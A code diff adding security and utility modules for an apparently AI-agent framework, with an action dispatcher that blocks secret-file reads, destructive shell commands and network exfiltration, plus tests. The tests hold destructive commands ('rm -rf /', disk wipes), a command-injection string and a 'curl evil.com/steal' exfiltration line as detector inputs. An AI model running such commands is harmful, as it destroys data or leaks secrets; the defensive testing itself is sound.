+         (content (when filepath (proto-get (proto-get payload :args) :content)))
+         (cmd (or (proto-get payload :cmd)
+                  (when (and (eq target :tool) (equal (proto-get payload :tool) "shell"))
+                    (proto-get (proto-get payload :args) :cmd))))
+         (approved (proto-get action :approved))
+         (tags (proto-get payload :tags))
+         (lisp-valid (when (and filepath content (not approved))
+                       (dispatcher-check-lisp-valid filepath content)))
+         (repl-lint (when (and filepath content (not approved))
+                     (dispatcher-check-repl-verified action filepath content))))
+    (cond
+      (approved action)
+
+       ;; Vector 0: REPL verification lint (warn, don't block)
+      (repl-lint
+       (log-message "DISPATCHER: ~a" (proto-get repl-lint :text))
+       action)
+
+       ;; Vector 1: Lisp syntax validation (block bad lisp writes)
+      ((and lisp-valid (eq (getf lisp-valid :status) :error))
+       (log-message "LINT VIOLATION: Blocked write — lisp syntax error in ~a: ~a" filepath (getf lisp-valid :reason))
+       (list :type :LOG
+             :payload (list :level :error
+                            :text (format nil "Lisp syntax error in ~a: ~a. The write was blocked. Fix the parenthesis balance and retry." filepath (getf lisp-valid :reason)))))
+
+      ;; Vector 2: File read to a protected secret path
+      ((and filepath (dispatcher-check-secret-path filepath))
+       (let ((matched (dispatcher-check-secret-path filepath)))
+         (log-message "SECURITY VIOLATION: Blocked read of protected path '~a' (matched: ~a)" filepath matched)
+         (list :type :LOG
+               :payload (list :level :error
+                              :text (format nil "Action blocked: Attempted read of protected path '~a'" filepath)))))
+
+      ;; Vector 2b: Self-build safety — core file writes require HITL approval
+      ((and filepath content
+            (string-equal (uiop:getenv "SELF_BUILD_MODE") "true")
+            (dispatcher-check-core-path filepath))
+       (log-message "SELF-BUILD: Core file write to '~a' requires approval" filepath)
+       (list :type :EVENT :level :approval-required
+             :payload (list :sensor :approval-required :action action
+                            :message (format nil "Core file write blocked: '~a' requires HITL approval via Flight Plan." filepath))))
+
+      ;; Vector 3: Content contains secret patterns
+      ((and text (dispatcher-exposure-scan text))
+       (let ((matched (dispatcher-exposure-scan text)))
+         (log-message "SECURITY VIOLATION: Content contains secret patterns: ~a" matched)
+         (list :type :LOG
+               :payload (list :level :error
+                              :text "Action blocked: Content contains potential secret exposure."))))
+
+      ;; Vector 4: Content contains vault secrets
+      ((and text (dispatcher-vault-scan text))
+       (let ((secret-name (dispatcher-vault-scan text)))
+         (log-message "SECURITY VIOLATION: Blocked potential leak of secret '~a'" secret-name)
+         (list :type :LOG
+               :payload (list :level :error
+                              :text (format nil "Action blocked: Potential exposure of '~a'" secret-name)))))
+
+      ;; Vector 5: Privacy-tagged content in action
+      ((and tags (dispatcher-check-privacy-tags tags))
+       (log-message "PRIVACY VIOLATION: Action contains privacy-tagged content")
+       (list :type :LOG
+             :payload (list :level :warn
+                            :text "Action blocked: Content tagged with privacy filter.")))
+
+      ;; Vector 6: Text leaks privacy tag names
+      ((and text (dispatcher-check-text-for-privacy text))
+       (log-message "PRIVACY WARNING: Text may contain leaked private content")
+       (list :type :LOG
+             :payload (list :level :warn
+                            :text "Action blocked: Text may reference private content.")))
+
+       ;; Vector 7: Shell destructive/injection patterns
+      ((and cmd (dispatcher-check-shell-safety cmd))
+       (let ((matched (dispatcher-check-shell-safety cmd)))
+         (log-message "SHELL VIOLATION: Destructive or injection pattern in command: ~a" matched)
+         (list :type :LOG
+               :payload (list :level :error
+                              :text (format nil "Shell command blocked: contains unsafe pattern ~a" matched)))))
+
+      ;; Vector 8: Network exfiltration
+      ((and (or (eq target :shell)
+                (and (eq target :tool) (equal (proto-get payload :tool) "shell")))
+            (dispatcher-check-network-exfil cmd))
+        (log-message "SECURITY WARNING: External network call detected. Queuing for approval.")
+        (list :type :EVENT :level :approval-required
+              :payload (list :sensor :approval-required :action action)))
+
+      ;; Vector 8: High-impact action approval
+      ((or (member target '(:shell))
+           (and (eq target :tool) (member (proto-get payload :tool) '("shell" "repair-file") :test #'string=))
+           (and (eq target :emacs) (eq (proto-get payload :action) :eval))
+           (and (eq target :system) (eq (proto-get payload :action) :eval)))
+       (log-message "SECURITY: High-impact action requires approval: ~a" (or (proto-get payload :tool) target))
+       (list :type :EVENT :payload (list :sensor :approval-required :action action)))
+      (t action))))
+
+(defun dispatcher-approvals-process ()
+  "Scans for APPROVED flight plans and re-injects them."
+  (let ((approved-nodes (memory-objects-by-attribute :TODO "APPROVED"))
+        (found-any nil))
+    (dolist (node approved-nodes)
+      (let* ((attrs (memory-object-attributes node))
+             (tags (getf attrs :TAGS))
+             (action-str (getf attrs :ACTION)))
+        (when (and (member "FLIGHT_PLAN" tags :test #'string-equal) action-str)
+          (log-message "DISPATCHER: Found approved flight plan '~a'. Re-injecting..." (memory-object-id node))
+          (let ((action (ignore-errors (read-from-string action-str))))
+            (when action
+              (setf (getf action :approved) t)
+              (stimulus-inject (list :type :EVENT
+                                     :payload (list :sensor :approval-required
+                                                    :action action
+                                                    :approved t)
+                                     :meta (list :source :system)))
+              (setf (getf (memory-object-attributes node) :TODO) "DONE")
+              (setq found-any t))))))
+    found-any))
+
+(defun dispatcher-flight-plan-create (blocked-action)
+  "Creates a Flight Plan node for manual approval in Emacs."
+  (let ((id (remove #\- (princ-to-string (uuid:make-v4-uuid)))))
+    (log-message "DISPATCHER: Creating flight plan node '~a'..." id)
+    (list :type :REQUEST :target :emacs
+          :payload (list :action :insert-node :id id
+                         :attributes (list :TITLE "Flight Plan: High-Risk Action"
+                                           :TODO "PLAN" :TAGS '("FLIGHT_PLAN")
+                                           :ACTION (format nil "~s" blocked-action))))))
+
+(defvar *hitl-pending* (make-hash-table :test 'equal)
+  "Maps correlation token → blocked-action plist for pending HITL approvals.")
+
+(defun hitl-create (blocked-action)
+  "Saves a blocked action for HITL approval. Returns a plist with
+:token (the correlation ID) and :message (user-facing text)."
+  (let* ((token (format nil "HITL-~a" (subseq (remove #\- (princ-to-string (uuid:make-v4-uuid))) 0 8))))
+    (setf (gethash token *hitl-pending*) blocked-action)
+    (log-message "HITL: Created pending approval ~a" token)
+    (list :token token
+          :message (format nil "HITL: Action requires approval [~a]. Reply /approve ~a to approve." token token))))
+
+(defun hitl-approve (token)
+  "Approves a pending HITL action by token. Re-injects with :approved t.
+Returns T if found and approved, nil if token is invalid."
+  (let ((action (gethash token *hitl-pending*)))
+    (if action
+        (progn
+          (remhash token *hitl-pending*)
+          (setf (getf action :approved) t)
+          (stimulus-inject (list :type :EVENT
+                                  :payload (list :sensor :approval-required
+                                                 :action action
+                                                 :approved t)
+                                  :meta (list :source :system)))
+          (log-message "HITL: Approved ~a — re-injected" token)
+          t)
+        (progn
+          (log-message "HITL: Token ~a not found in pending" token)
+          nil))))
+
+(defun hitl-deny (token)
+  "Denies a pending HITL action by token. Removes it from the pending store.
+Returns T if found, nil if token is invalid."
+  (if (gethash token *hitl-pending*)
+      (progn
+        (remhash token *hitl-pending*)
+        (log-message "HITL: Denied ~a" token)
+        t)
+      (progn
+        (log-message "HITL: Token ~a not found in pending" token)
+        nil)))
+
+(defun hitl-handle-message (text &optional source)
+  "Checks if TEXT is a HITL approval or denial command.
+If it matches, processes the command and returns T.
+Otherwise returns nil (text should be handled as normal input).
+Recognized formats:
+  /approve HITL-abc123
+  /deny HITL-abc123
+  approve HITL-abc123
+  deny HITL-abc123"
+  (let ((text (string-trim '(#\Space) (or text ""))))
+    (when (or (uiop:string-prefix-p (string-downcase "/approve") (string-downcase text))
+              (uiop:string-prefix-p (string-downcase "approve") (string-downcase text)))
+      (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
+             (token (when (> (length parts) 1) (second parts))))
+        (when (and token (hitl-approve token))
+          (log-message "HITL: Approved via ~a — ~a" (or source :unknown) token)
+          (return-from hitl-handle-message t))))
+    (when (or (uiop:string-prefix-p (string-downcase "/deny") (string-downcase text))
+              (uiop:string-prefix-p (string-downcase "deny") (string-downcase text)))
+      (let* ((parts (uiop:split-string text :separator '(#\Space #\Tab)))
+             (token (when (> (length parts) 1) (second parts))))
+        (when (and token (hitl-deny token))
+          (log-message "HITL: Denied via ~a — ~a" (or source :unknown) token)
+          (return-from hitl-handle-message t))))
+    nil))
+
+(defun dispatcher-gate (action context)
+  "Main deterministic gate for the Security Dispatcher skill."
+  (let* ((payload (getf context :payload))
+         (sensor (getf payload :sensor)))
+    (case sensor
+      (:approval-required
+       (dispatcher-flight-plan-create (getf payload :action)))
+      (:heartbeat
+       (dispatcher-approvals-process)
+       (if action (dispatcher-check action context) action))
+      (otherwise
+       (if action (dispatcher-check action context) action)))))
+
+(defskill :passepartout-security-dispatcher
+  :priority 150
+  :trigger (lambda (ctx) (declare (ignore ctx)) t)
+  :deterministic #'dispatcher-gate)
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-dispatcher-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:dispatcher-suite))
+
+(in-package :passepartout-security-dispatcher-tests)
+
+(def-suite dispatcher-suite :description "Verification of the Security Dispatcher")
+(in-suite dispatcher-suite)
+
+(test test-wildcard-match
+  "Contract 1: wildcard pattern * matches any characters."
+  (is (wildcard-match "*.env" ".env"))
+  (is (wildcard-match "*.env" "prod.env"))
+  (is (wildcard-match "*credential*" "my-credential-file"))
+  (is (wildcard-match "*.key" "id_rsa.key"))
+  (is (not (wildcard-match "*.env" "config.yaml"))))
+
+(test test-check-secret-path
+  "Contract 2: dispatcher-check-secret-path matches protected patterns."
+  (is (dispatcher-check-secret-path ".env"))
+  (is (dispatcher-check-secret-path "id_rsa"))
+  (is (not (dispatcher-check-secret-path "README.org"))))
+
+(test test-self-build-core-protection
+  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
+  ;; Core paths are recognized
+  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
+  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
+  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
+  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
+  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
+    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
+    (let ((result (dispatcher-check action nil)))
+      (is (eq :approval-required (getf result :level)))
+      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
+    ;; With SELF_BUILD_MODE=false (default), writes pass through
+    (let ((result (dispatcher-check action nil)))
+      (is (eq :REQUEST (getf result :type))))))
+
+(test test-check-shell-safety
+  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
+  (is (dispatcher-check-shell-safety "rm -rf /"))
+  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
+  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
+  (is (not (dispatcher-check-shell-safety "echo hello world")))
+  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))
+
+(test test-shell-safety-severity-catastrophic
+  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
+  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
+        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
+    (is (eq :catastrophic (getf r1 :severity)))
+    (is (eq :catastrophic (getf r2 :severity)))))
+
+(test test-shell-safety-severity-dangerous
+  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
+  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
+    (is (eq :dangerous (getf result :severity)))))
+
+(test test-shell-safety-severity-safe
+  "Contract 3/v0.4.3: harmless commands return nil."
+  (is (null (dispatcher-check-shell-safety "echo hello world")))
+  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
+  (is (null (dispatcher-check-shell-safety "cat file.txt"))))
+
+(test test-dispatcher-severity-max
+  "dispatcher-severity-max returns the higher tier."
+  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
+  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
+  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
+  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))
+
+(test test-check-privacy-tags
+  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
+  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
+  (is (dispatcher-check-privacy-tags '("@personal")))
+  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))
+
+(test test-check-network-exfil
+  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
+  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
+  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
+  (is (not (dispatcher-check-network-exfil "echo hello"))))

lisp/security-permissions.lisp

@@ -0,0 +1,44 @@
+(in-package :passepartout)
+
+(defvar *permission-table* (make-hash-table :test 'equal))
+
+(defun permission-set (tool-name level)
+  "Sets the permission level for a tool."
+  (setf (gethash (string-downcase (string tool-name)) *permission-table*) level))
+
+(defun permission-get (tool-name)
+  "Retrieves the permission level for a tool. Defaults to :ask."
+  (gethash (string-downcase (string tool-name)) *permission-table* :ask))
+
+(defskill :passepartout-security-permissions
+  :priority 600
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-permissions-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:permissions-suite))
+
+(in-package :passepartout-security-permissions-tests)
+
+(def-suite permissions-suite :description "Verification of Tool Permissions")
+(in-suite permissions-suite)
+
+(test test-permission-round-trip
+  "Contract 1: permission-set stores a level; permission-get retrieves it."
+  (permission-set "test-tool" :allow)
+  (is (eq :allow (permission-get "test-tool")))
+  ;; Clean up
+  (permission-set "test-tool" nil))
+
+(test test-permission-default
+  "Contract 2: unregistered tools default to :ask."
+  (is (eq :ask (permission-get "never-registered-tool-xyz"))))
+
+(test test-permission-case-insensitive
+  "Contract 3: tool names are normalized to lowercase."
+  (permission-set :CapitalTool :deny)
+  (is (eq :deny (permission-get :capitaltool)))
+  (permission-set "CapitalTool" nil))

lisp/security-policy.lisp

@@ -0,0 +1,50 @@
+(in-package :passepartout)
+
+(defun policy-compliance-check (action context)
+  "Enforces constitutional invariants on proposed actions."
+  (declare (ignore context))
+  (let* ((payload (proto-get action :payload))
+         (explanation (proto-get payload :explanation)))
+    (if (and explanation (stringp explanation) (> (length explanation) 10))
+        action
+        (progn
+          (log-message "POLICY VIOLATION: Action lacks sufficient explanation.")
+          (list :type :LOG
+                :payload (list :level :warn
+                              :text "Action blocked: Missing or insufficient :explanation. Please justify your reasoning."))))))
+
+(defskill :passepartout-security-policy
+  :priority 500
+  :trigger (lambda (ctx) (declare (ignore ctx)) t)
+  :deterministic #'policy-compliance-check)
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-policy-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:policy-suite))
+
+(in-package :passepartout-security-policy-tests)
+
+(def-suite policy-suite :description "Verification of the Constitutional Policy Layer")
+(in-suite policy-suite)
+
+(test test-policy-passes-valid-explanation
+  "Contract 1: action with sufficient explanation passes through unchanged."
+  (let* ((action '(:type :REQUEST :payload (:action :read :explanation "The user asked me to read the TODO list for today.")))
+         (result (policy-compliance-check action nil)))
+    (is (equal action result))))
+
+(test test-policy-rejects-short-explanation
+  "Contract 1: action with explanation ≤10 characters is rejected with :LOG."
+  (let* ((action '(:type :REQUEST :payload (:action :read :explanation "hi")))
+         (result (policy-compliance-check action nil)))
+    (is (eq :LOG (getf result :type)))
+    (is (search "blocked" (getf (getf result :payload) :text) :test #'char-equal))))
+
+(test test-policy-rejects-missing-explanation
+  "Contract 1: action without :explanation is rejected."
+  (let* ((action '(:type :REQUEST :payload (:action :read)))
+         (result (policy-compliance-check action nil)))
+    (is (eq :LOG (getf result :type)))))

lisp/security-validator.lisp

@@ -0,0 +1,43 @@
+(in-package :passepartout)
+
+(defun validator-protocol-check (msg)
+  "Enforces structural schema compliance on protocol messages."
+  (validate-communication-protocol-schema msg))
+
+(defskill :passepartout-security-validator
+  :priority 95
+  :trigger (lambda (ctx) (declare (ignore ctx)) t)
+  :deterministic (lambda (action ctx)
+                   (declare (ignore ctx))
+                   (handler-case
+                       (progn (validator-protocol-check action) action)
+                     (error (c)
+                       (list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-validator-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:validator-suite))
+
+(in-package :passepartout-security-validator-tests)
+
+(def-suite validator-suite :description "Verification of the Protocol Validator")
+(in-suite validator-suite)
+
+(test test-validator-passes-valid-message
+  "Contract 1: a valid message passes protocol check."
+  (let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
+    (handler-case
+        (progn
+          (validator-protocol-check msg)
+          (pass))
+      (error (c)
+        (fail "Validator rejected a valid message: ~a" c)))))
+
+(test test-validator-rejects-missing-type
+  "Contract 1: a message missing :type is rejected."
+  (let ((msg '(:payload (:sensor :heartbeat))))
+    (signals error
+      (validator-protocol-check msg))))

lisp/security-vault.lisp

@@ -0,0 +1,88 @@
+(in-package :passepartout)
+
+(defvar *vault-memory* (make-hash-table :test 'equal)
+  "In-memory cache of sensitive credentials.")
+
+(defun vault-get (provider &key (type :api-key))
+  "Retrieves a credential from the vault or environment."
+  (let* ((key (format nil "~a-~a" provider type))
+         (val (gethash key *vault-memory*)))
+    (if val
+        val
+        (let ((env-var (case provider
+                          (:gemini "GEMINI_API_KEY")
+                          (:openai "OPENAI_API_KEY")
+                          (:anthropic "ANTHROPIC_API_KEY")
+                          (:openrouter "OPENROUTER_API_KEY")
+                          (otherwise nil))))
+          (when env-var (uiop:getenv env-var))))))
+
+(defun vault-set (provider secret &key (type :api-key))
+  "Stores a secret in the vault."
+  (let ((key (format nil "~a-~a" provider type)))
+    (setf (gethash key *vault-memory*) secret)))
+
+(defun vault-get-secret (provider)
+  "Retrieves a stored secret or token for a gateway provider."
+  (vault-get provider :type :secret))
+
+(defun vault-set-secret (provider secret)
+  "Stores a secret or token for a gateway provider."
+  (vault-set provider secret :type :secret))
+
+(defskill :passepartout-security-vault
+  :priority 600
+  :trigger (lambda (ctx) (declare (ignore ctx)) nil))
+
+(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-security-vault-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:vault-suite))
+
+(in-package :passepartout-security-vault-tests)
+
+(def-suite vault-suite :description "Verification of the Credentials Vault")
+(in-suite vault-suite)
+
+(test test-vault-round-trip
+  "Contract 1: vault-set stores a value; vault-get retrieves it."
+  (let ((test-key :vault-test-round-trip)
+        (test-secret "secret-abc123"))
+    (vault-set test-key test-secret)
+    (is (string= test-secret (vault-get test-key)))
+    ;; Clean up
+    (vault-set test-key nil)))
+
+(test test-vault-missing-key
+  "Contract 2: vault-get returns NIL for an unset, unknown provider."
+  (is (null (vault-get :nonexistent-provider-xyz))))
+
+(test test-vault-isolation
+  "Contract 5: storing for provider A does not affect provider B."
+  (vault-set :vault-prov-a "secret-a")
+  (vault-set :vault-prov-b "secret-b")
+  (is (string= "secret-a" (vault-get :vault-prov-a)))
+  (is (string= "secret-b" (vault-get :vault-prov-b)))
+  (vault-set :vault-prov-a nil)
+  (vault-set :vault-prov-b nil))
+
+(test test-vault-secret-wrappers
+  "Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
+  (let ((test-provider :vault-secret-test))
+    (vault-set-secret test-provider "my-token")
+    (is (string= "my-token" (vault-get-secret test-provider)))
+    ;; Clean up
+    (vault-set-secret test-provider nil)))
+
+(test test-vault-type-isolation
+  "Contract 5: different :type values produce different keys."
+  (vault-set :vault-type-test "key-value" :type :api-key)
+  (vault-set :vault-type-test "secret-value" :type :secret)
+  (is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
+  (is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
+  (vault-set :vault-type-test nil :type :api-key)
+  (vault-set :vault-type-test nil :type :secret))

lisp/sensor-time.lisp

@@ -0,0 +1,169 @@
+(in-package :passepartout)
+
+(defvar *session-start-time* nil
+  "Universal time when sensor-time skill was loaded.")
+
+(defun session-duration ()
+  "Returns duration in seconds since skill load, or nil if not initialized."
+  (when *session-start-time*
+    (- (get-universal-time) *session-start-time*)))
+
+(defun sensor-time-initialize ()
+  "Record session start and register deadline-scanning cron."
+  (setf *session-start-time* (get-universal-time))
+  (handler-case
+      (when (fboundp 'orchestrator-register-cron)
+        (orchestrator-register-cron "time-tick"
+          :action (lambda () (sensor-time-tick))
+          :tier :reflex
+          :repeat "+1m"))
+    (error (c)
+      (log-message "SENSOR-TIME: Could not register cron: ~a" c))))
+
+(defun format-time-for-llm (&key (session-duration-seconds nil))
+  "Returns a TIME: section string for the system prompt.
+When TIME_AWARENESS=false, returns empty string.
+TIME_FORMAT: iso = 2026-05-08T06:30:00Z, natural = 6:30 AM UTC, Thu May 8 2026.
+When session-duration-seconds is provided, includes session info."
+  (unless (or (uiop:getenv "TIME_AWARENESS")
+              (not (string-equal "false" (or (uiop:getenv "TIME_AWARENESS") "true"))))
+    (return-from format-time-for-llm ""))
+  (let ((time-aware (uiop:getenv "TIME_AWARENESS")))
+    (when (and time-aware (string-equal time-aware "false"))
+      (return-from format-time-for-llm "")))
+  (multiple-value-bind (sec minute hour date month year day daylight zone)
+      (decode-universal-time (get-universal-time) 0)
+    (declare (ignore daylight zone))
+    (let* ((format (or (uiop:getenv "TIME_FORMAT") "iso"))
+           (iso-str (format nil "~4,'0d-~2,'0d-~2,'0dT~2,'0d:~2,'0d:~2,'0dZ"
+                            year month date hour minute (round sec)))
+           (day-names '("Mon" "Tue" "Wed" "Thu" "Fri" "Sat" "Sun"))
+           (month-names '("Jan" "Feb" "Mar" "Apr" "May" "Jun"
+                          "Jul" "Aug" "Sep" "Oct" "Nov" "Dec"))
+           (natural-str (format nil "~2,'0d:~2,'0d UTC, ~a ~a ~d ~d"
+                                hour minute (nth day day-names)
+                                (nth (1- month) month-names) date year))
+           (time-str (if (string-equal format "natural") natural-str iso-str))
+           (dur-str (when session-duration-seconds
+                      (let* ((hours (floor session-duration-seconds 3600))
+                             (mins (floor (mod session-duration-seconds 3600) 60)))
+                        (if (> hours 0)
+                            (format nil " Session: ~dh ~dm." hours mins)
+                            (format nil " Session: ~dm." mins))))))
+      (if dur-str
+          (format nil "TIME: ~a.~a" time-str dur-str)
+          (format nil "TIME: ~a." time-str)))))
+
+(defvar *deadline-warning-minutes* nil)
+
+(defun sensor-time-tick ()
+  "Scans memory for approaching deadlines. Returns a formatted note string
+if any deadlines are within *deadline-warning-minutes*, nil otherwise.
+Called by the time-tick cron job every minute."
+  (let ((warning-min (or *deadline-warning-minutes*
+                         (ignore-errors
+                           (parse-integer (uiop:getenv "DEADLINE_WARNING_MINUTES")))
+                         60)))
+    (setf *deadline-warning-minutes* warning-min)
+    (let ((now (get-universal-time))
+          (deadlines nil))
+      (maphash (lambda (id obj)
+                 (declare (ignore id))
+                 (let ((attrs (memory-object-attributes obj)))
+                   (let ((deadline (getf attrs :DEADLINE))
+                         (scheduled (getf attrs :SCHEDULED))
+                         (title (getf attrs :TITLE)))
+                     (dolist (prop (list deadline scheduled))
+                       (when prop
+                         (handler-case
+                             (let* ((parsed (parse-integer prop :junk-allowed t))
+                                    (d-minutes (if parsed
+                                                   (- (round (/ (- parsed now) 60))
+                                                       warning-min)
+                                                   nil)))
+                               (when (and d-minutes (< d-minutes warning-min))
+                                 (push (list :title title
+                                             :minutes (- (round (/ (- (or parsed 0) now) 60))))
+                                       deadlines)))
+                           (error () nil)))))))
+               *memory-store*)
+      (when deadlines
+        (let* ((sorted (sort deadlines #'< :key (lambda (d) (getf d :minutes))))
+               (parts (loop for d in sorted collect
+                           (let* ((mins (getf d :minutes))
+                                  (label (cond
+                                           ((< mins 0) (format nil "~dmin overdue" (- mins)))
+                                           ((= mins 0) "now")
+                                           (t (format nil "~dmin" mins)))))
+                             (format nil "~a (~a)" (getf d :title) label)))))
+          (format nil "~d deadlines approaching: ~{~a; ~}" (length parts) parts))))))
+
+(sensor-time-initialize)
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-sensor-time-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:sensor-time-suite))
+
+(in-package :passepartout-sensor-time-tests)
+
+(def-suite sensor-time-suite :description "Temporal awareness: time formatting, session, deadlines")
+(in-suite sensor-time-suite)
+
+(test test-format-time-for-llm-includes-year
+  "Contract 1: format-time-for-llm returns a string with the current year."
+  (let ((result (passepartout::format-time-for-llm)))
+    (is (stringp result))
+    (is (search "202" result))
+    (is (search "TIME" result))))
+
+(test test-format-time-for-llm-utc
+  "Contract 1: iso format includes Z suffix."
+  (let ((result (passepartout::format-time-for-llm)))
+    (is (stringp result))
+    (is (search "Z" result))))
+
+(test test-format-time-for-llm-natural
+  "Contract 1: natural format produces human-readable date."
+  (let ((old-env (or (uiop:getenv "TIME_FORMAT") "")))
+    (unwind-protect
+         (progn
+           (setf (uiop:getenv "TIME_FORMAT") "natural")
+           (let ((result (passepartout::format-time-for-llm)))
+             (is (stringp result))
+             (is (search "UTC" result))))
+      (setf (uiop:getenv "TIME_FORMAT") old-env))))
+
+(test test-format-time-for-llm-with-session
+  "Contract 1: with session duration, includes session info."
+  (let ((result (passepartout::format-time-for-llm :session-duration-seconds 3720)))
+    (is (search "1h 2m" result))))
+
+(test test-session-duration
+  "Contract 2: session-duration returns a positive number after init."
+  (passepartout::sensor-time-initialize)
+  (let ((dur (passepartout::session-duration)))
+    (is (numberp dur))
+    (is (>= dur 0))))
+
+(test test-sensor-time-tick-empty
+  "Contract 3: sensor-time-tick returns nil when no deadlines are near."
+  (clrhash passepartout::*memory-store*)
+  (let ((result (passepartout::sensor-time-tick)))
+    (is (null result))))
+
+(test test-sensor-time-tick-detects-deadline
+  "Contract 3: sensor-time-tick detects a deadline close in time."
+  (clrhash passepartout::*memory-store*)
+  (setf passepartout::*deadline-warning-minutes* 120)
+  (let ((near-future-time (- (get-universal-time) 60)))  ; 1 minute ago
+    (ingest-ast (list :type :HEADLINE
+                       :properties (list :ID "deadline-test"
+                                         :TITLE "Submit report"
+                                         :DEADLINE (write-to-string near-future-time))
+                       :contents nil)))
+  (let ((result (passepartout::sensor-time-tick)))
+    (is (not (null result)))
+    (is (search "Submit report" result))))

lisp/symbolic-archivist.lisp

@@ -0,0 +1,279 @@
+(in-package :passepartout)
+
+(in-package :passepartout)
+
+(defvar *archivist-last-scribe* 0
+  "Universal time of the last Scribe distillation run.")
+
+(defvar *archivist-last-gardener* 0
+  "Universal time of the last Gardener scan run.")
+
+(defvar *archivist-gardener-interval* 86400
+  "Seconds between Gardener scans. Default: 24 hours.")
+
+(defun archivist-scribe-distill ()
+  "Distills daily log entries into atomic notes. Reads the Memex daily/
+directory for log files modified since the last run, extracts headlines
+as potential note seeds, and creates atomic note files in notes/ with
+backlinks to the source daily entry."
+  (let* ((memex-dir (or (uiop:getenv "MEMEX_DIR")
+                        (namestring (merge-pathnames "memex/" (user-homedir-pathname)))))
+         (daily-dir (merge-pathnames "daily/" memex-dir))
+         (notes-dir (merge-pathnames "notes/" memex-dir))
+         (now (get-universal-time))
+         (notes-created 0))
+    (unless (uiop:directory-exists-p daily-dir)
+      (log-message "ARCHIVIST: Daily directory not found: ~a" daily-dir)
+      (return-from archivist-scribe-distill nil))
+    (ensure-directories-exist notes-dir)
+    (handler-case
+        (let ((daily-files (uiop:directory-files daily-dir "*.org")))
+          (dolist (file daily-files)
+            (let* ((filepath (namestring file))
+                   (file-mtime (ignore-errors (file-write-date filepath))))
+              (when (and file-mtime (> file-mtime *archivist-last-scribe*))
+                ;; Extract headlines from daily log
+                (let* ((content (handler-case (uiop:read-file-string filepath)
+                                  (error () nil)))
+                       (headlines (when content
+                                    (archivist-extract-headlines content))))
+                  (dolist (hl headlines)
+                    (when (archivist-create-note hl notes-dir filepath)
+                      (incf notes-created))))))))
+      (error (c)
+        (log-message "ARCHIVIST: Scribe error: ~a" c)))
+    (setf *archivist-last-scribe* now)
+    (when (> notes-created 0)
+      (log-message "ARCHIVIST: Scribe created ~d atomic notes" notes-created))
+    notes-created))
+
+(defun archivist-extract-headlines (content)
+  "Extracts first-level headlines and their content from Org text.
+Returns a list of plists: (:title <str> :content <str> :tags <list>)."
+  (let ((lines (uiop:split-string content :separator '(#\Newline)))
+        (results nil)
+        (current-title nil)
+        (current-lines nil)
+        (current-tags nil)
+        (in-properties nil))
+    (dolist (line lines)
+      (let ((trimmed (string-trim '(#\Space) line)))
+        (when (string= trimmed ":PROPERTIES:")
+          (setf in-properties t))
+        (when (string= trimmed ":END:")
+          (setf in-properties nil))
+        (when (and in-properties (uiop:string-prefix-p ":TAGS:" trimmed))
+          (setf current-tags
+                (mapcar (lambda (tag) (string-trim '(#\Space) tag))
+                        (uiop:split-string (string-trim '(#\Space) (subseq trimmed 6))
+                                           :separator '(#\space #\tab)))))
+        (cond
+          ;; First-level headline
+          ((and (uiop:string-prefix-p "* " trimmed)
+                (not (uiop:string-prefix-p "**" trimmed)))
+           ;; Save previous
+           (when current-title
+             (push (list :title current-title
+                         :content (format nil "~{~a~^~%~}" (nreverse current-lines))
+                         :tags current-tags)
+                   results))
+           (setf current-title (string-trim '(#\* #\Space) trimmed)
